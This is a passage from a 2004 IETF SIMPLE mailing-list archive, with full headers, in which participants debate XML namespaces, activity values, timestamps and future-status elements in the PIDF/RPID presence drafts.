Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 11:41:46 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18356
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:41:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqFS-0003HU-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:26:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqCg-0002DL-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:23:39 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqAh-0001P6-00; Mon, 01 Mar 2004 11:21:35 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axq06-0000qz-RJ; Mon, 01 Mar 2004 11:10:39 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpz1-000448-BH; Mon, 01 Mar 2004 11:09:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpyN-0003pm-Sn
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:08:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14012
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:06:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axpfw-0006ur-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:49:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpN0-0000e1-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:30:17 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxorF-0000bn-00
	for simple@ietf.org; Mon, 01 Mar 2004 09:57:25 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21Eu5Nr011398;
	Mon, 1 Mar 2004 09:56:06 -0500 (EST)
Message-ID: <40434EF3.3040706@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>, Simple WG <simple@ietf.org>
Subject: Re: pidf namespace, was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)
References: <4041F046.7050207@dynamicsoft.com> <40429762.4070101@cs.columbia.edu> <4042BB0A.20908@dynamicsoft.com> <4042CB54.3080201@cs.columbia.edu> <4042E359.1030304@cisco.com>
In-Reply-To: <4042E359.1030304@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 09:55:47 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I think its a mistake to try and avoid collisions in the local part of 
an element name. This is EXACTLY why namespaces were invented, as Lisa 
pointed out during the session. Jon indicated that his intent for the 
document was that pidf extensions are registered BENEATH 
urn:ietf:params:xml:ns:pidf:status, which is fine. If its just an issue 
of poor wording and an incorrect example, I would hope that can be 
corrected during auth48. Certainly it should not stop us from doing what 
is, IMHO, the obviously right choice.

-Jonathan R.

Paul Kyzivat wrote:

> 
> 
> Henning Schulzrinne wrote:
> 
>>
>> The only limitation of using targetNamespace that there can't be 
>> another extension that also defines activity, relationship, etc., just 
>> in a different namespace. From a practical perspective, this seems 
>> like an advantage, not a drawback. Having two IETF extensions that use
>>
>> <foo:activity>
>> and
>> <bar:activity>
>>
>> seems to invite confusion to address non-problems (lack of 
>> coordination [these are IETF extensions, after all] and shortage of 
>> English words).
> 
> 
> We've already done it:
> 
> <class> is defined in both
> urn:ietf:params:xml:ns:pidf:rpid-tuple and in 
> urn:ietf:params:xml:ns:simple-prescaps-ext.
> 
> It isn't too bad, because they can't be used in the same context. The 
> rpid class can only be used directly below <tuple>, while the prescaps 
> class can only be used within <prescaps>.
> 
>     Paul
> 
>     Paul
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 11:41:55 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18489
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:41:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqJJ-0004Lw-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:30:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqI1-00044f-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:29:10 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqGK-0003ff-00; Mon, 01 Mar 2004 11:27:24 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AxqGL-0001Rv-Pg; Mon, 01 Mar 2004 11:27:26 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqFy-0006SX-Uw; Mon, 01 Mar 2004 11:27:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqF5-0005yi-3o
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:26:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17184
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:26:02 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpxH-0005xr-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:07:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxprC-00039w-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:01:29 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axpji-00009D-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:53:42 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21FqaNr011447;
	Mon, 1 Mar 2004 10:52:37 -0500 (EST)
Message-ID: <40435C31.1050505@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long) - activity
References: <4041F046.7050207@dynamicsoft.com> <40427C5A.7020204@cs.columbia.edu>
In-Reply-To: <40427C5A.7020204@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:52:17 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

inline.

Henning Schulzrinne wrote:


>>> Depending on the presentity intent, all but the "available"
>>>    indication can be used with either status OPEN or CLOSED.
>>>
>>>    Available: The presentity is available for communication.
>>
>>
>>
>> indeed - what is the difference between <available> and open?
> 
> 
> I'm not sure this is useful; it was meant to allow inclusion of the 
> 'activity' even if there was no other activity to report.

I dont see value in that; I would propose to remove it.

> 
> 
>>
>>> Appointment: The presentity has a calendar appointment.
>>
>>
>>
>>>  Meeting: This activity category can often be generated automatically
>>>       from a calendar.
>>
>>
>>
>> what is the difference between these too?
> 
> 
> A meeting is a sub-class of appointment; appointment includes my visit 
> to the dentist and attending my son's soccer game.

OK. Can we clarify that in the text?


> 
> 
>>
>>> In-transit: The presentity is riding in a vehicle, such as a car, but
>>>       not steering. Alternatively, the presentity MAY offer more
>>>       specific information.
>>
>>
>>
>> how does one offer more specific information?
> 
> 
> Steering.

OK. It wasnt clear to me that what you meant by more specific 
infomration was one of the other values for this.

>>
>>
>> I think you need to be careful with the word "publication" here. If, 
>> right now, I publish a document saying that I'm in a meeting until 
>> 10pm, then at 11pm, the 'until' time is still in the future relative 
>> to the *publication* time, but not relative to the time at which the 
>> notification is sent. I think you need to say "transmission" and 
>> clarify that this includes either publication or notification.
> 
> 
> How about relative to the 'timestamp' element?
> 
> 

I think thats OK. Timestamp is optional. When used with this element we 
would need to make it mandatory.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 11:41:57 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18520
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:41:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqIt-0004II-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:30:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqHW-0003wV-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:28:40 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqFZ-0003KW-00; Mon, 01 Mar 2004 11:26:37 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AxqFZ-0001Pv-BO; Mon, 01 Mar 2004 11:26:37 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqF9-00060L-Nm; Mon, 01 Mar 2004 11:26:11 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqEV-0005nQ-VG
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:25:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16685
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:25:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axq2Y-0007Z1-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:13:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axpza-0006eO-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:10:07 -0500
Received: from mail1.dynamicsoft.com ([63.113.40.10] helo=mail2.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpvR-0004gV-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:05:49 -0500
Received: from DYN-EXCH-01.dynamicsoft.com (dyn-exch-001b [63.113.44.8])
	by mail2.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i21G5HlO004289
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:05:17 -0500 (EST)
Received: from dynamicsoft.com (NJ-AKRISTENSEN2 [63.113.46.85]) by DYN-EXCH-01.dynamicsoft.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 10KYPHN3; Mon, 1 Mar 2004 11:05:13 -0500
Message-ID: <40435F39.6060904@dynamicsoft.com>
From: Anders Kristensen <akristensen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: activity namespaces [was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)]
References: <4041F046.7050207@dynamicsoft.com>
In-Reply-To: <4041F046.7050207@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 11:05:13 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:
>> Communities of interest such as a profession or an
>>    organization may define additional activity labels for their internal
>>    use.
> 
> 
> If so, don't we introduce the possibility of name collisions? If you 
> really want this, you might need to do something like:
> 
> org.dancers-of-america.square-dancing
> 
> i.e, us some kind of vendor prefix.
> 
> But, I'd rather not do that, since we introduce yet another namespace 
> management when we have a fine one in the form of XML. I'd rather allow 
> only values defined from the ietf controlled registry.

I don't see how <activity> values (which is character content) can be 
made extensible with XML based mechanisms alone, at least not in its 
current form. If you want to publish a pidf/rpid doc with 
<rs:activity>square-dancing</rs:activity>, how do you indicate that the 
"square-dancing" value belongs to some non-rpid XML namespace (say 
http://dancers-of-america.org/)?

Maybe having an additional level of elements, as in

<presence xmlns="urn:ietf:params:xml:ns:pidf"
     xmlns:rs="urn:ietf:params:xml:ns:pidf:rpid-status"
     xmlns:doa="http://dancers-of-america.org/"
     entity="pres:someone@example.com">
   ...
     <rs:activity>
       <doa:activity>square-dancing</doa:activity>
     </rs:activity>

would work although it seems like rather a lot of machinery. Is this 
what you had in mind?

Anders


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 11:41:59 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18550
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:41:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqIl-0004GP-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:29:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqHJ-0003tz-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:28:26 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqFL-0003Fa-00; Mon, 01 Mar 2004 11:26:23 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AxqFM-0001Pa-B7; Mon, 01 Mar 2004 11:26:24 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqFE-00065U-R2; Mon, 01 Mar 2004 11:26:16 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqEm-0005si-RT
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:25:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16907
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:25:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axpzk-0006gR-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:10:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axpvg-00055K-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:06:08 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxppV-0002Sj-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:59:41 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21FxFNr011454;
	Mon, 1 Mar 2004 10:59:17 -0500 (EST)
Message-ID: <40435DC1.5030000@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Orit Levin <oritl@microsoft.com>
CC: Robert Sparks <rsparks@dynamicsoft.com>, IETF SIMPLE WG <simple@ietf.org>,
        Avshalom Houri <AVSHALOM@il.ibm.com>
Subject: Re: [Simple] Inter-domain Requirements for SIMPLE
References: <DD07841287D0AD428833021705E0D14E0188540A@RED-MSG-52.redmond.corp.microsoft.com>
In-Reply-To: <DD07841287D0AD428833021705E0D14E0188540A@RED-MSG-52.redmond.corp.microsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:58:57 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Orit Levin wrote:


> OL: Are you saying that other optimization approaches can be introduced
> (I would love to hear and explore each one of them) or are you saying
> that a different mechanism for achieving 7.3 can be introduced? (Again,
> let's hear/see it.)

I am saying that we are early in this work, and I think it is good to 
start with the really main requirement here, "optimize message volume 
and bandwidth", and then let everything after that be an implementation 
approach.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 11:42:03 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18633
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:42:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqIC-00046m-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:29:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqGX-0003ia-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:27:40 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqE9-0002f7-00; Mon, 01 Mar 2004 11:25:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AxqE9-0001NU-S7; Mon, 01 Mar 2004 11:25:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqE3-0005YY-Mp; Mon, 01 Mar 2004 11:25:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqDE-0005US-Pd
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:24:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16082
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:24:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqB4-0001uU-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:21:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqAG-0001Or-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:21:09 -0500
Received: from zrc2s0jx.nortelnetworks.com ([47.103.122.112])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axq9h-0001Hk-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:20:33 -0500
Received: from zrc2c011.us.nortel.com (zrc2c011.us.nortel.com [47.103.120.51])
	by zrc2s0jx.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id i21GJkr12756;
	Mon, 1 Mar 2004 10:19:46 -0600 (CST)
Received: by zrc2c011.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <FS343TX9>; Mon, 1 Mar 2004 10:19:46 -0600
Message-ID: <161AA64DA85DFC4BA4D2EB5629B5975304EECE9B@zrc2c012.us.nortel.com>
From: "Brian Stucker" <bstucker@nortelnetworks.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        Paul Kyzivat
	 <pkyzivat@cisco.com>
Cc: Simple WG <simple@ietf.org>
Subject: RE: [Simple] Comments on draft-ietf-simple-future
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C3FFA8.DED903FE"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 10:19:40 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,HTML_20_30,HTML_MESSAGE 
	autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3FFA8.DED903FE
Content-Type: text/plain;
	charset="iso-8859-1"

On a similar note... I didn't want to bring this up during the meeting today
because of the compressed schedule, but are we really happy with using
absolute time stamps? I'm a bit worried about using them when we've gone
back and gotten rid of them elsewhere in the protocol. Am I just being
paranoid?

Regards,

Brian

-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
Sent: Monday, March 01, 2004 9:09 AM
To: Paul Kyzivat
Cc: Simple WG
Subject: Re: [Simple] Comments on draft-ietf-simple-future




Paul Kyzivat wrote:

> 
> 
> Jonathan Rosenberg wrote:
> 
>>>  Future status cannot be expressed with <tuples> elements with
>>>    optional extensions since PIDF parsers would not be able to
>>>    distinguish current from future or past information.
>>
>>
>>
>> I think you mean <tuple> elements. In any case, this text is not quite 
>> right. You are in fact extending <tuple> with an optional extension, 
>> <future-status>. What I think you mean is that you cannot just extend 
>> an existing element, like <activity>, with attributes that define the 
>> future status, because these would not be understood and thus 
>> misinterpreted as current status.
> 
> 
> Not only can't, but don't want to. The goal is to provide a way to use 
> all the normal attributes that define current status to define future 
> status as well. So the goal is to provide a separate context in which 
> the existing elements may be used where they won't be misunderstood by 
> those who don't understand this extension.
> 
>> Unfortunately, the nature of the schemas is that the new one cannot 
>> say where in the PIDF document this is supposed to go. You need to 
>> specify that this element MUST be a child of <tuple>. Also, can you 
>> have more than one (I think so)? In that case, can they represent 
>> overlapping times (I think so)?
> 
> 
> That is an ugly case, because when there is an overlap, which takes 
> precedence?

I had in mind cases where the attributes in the overlapping time-spaces 
themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a 
meeting> from 1030am to noon.

I suppose we could just mandate that the PA only generate notifications 
with non-overlapping intervals. This forces the PA to do any kind of 
precedence computations. I think the PA is the only one that can do it.

-Jonathan R.



-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple

------_=_NextPart_001_01C3FFA8.DED903FE
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2656.31">
<TITLE>RE: [Simple] Comments on draft-ietf-simple-future</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>On a similar note... I didn't want to bring this up =
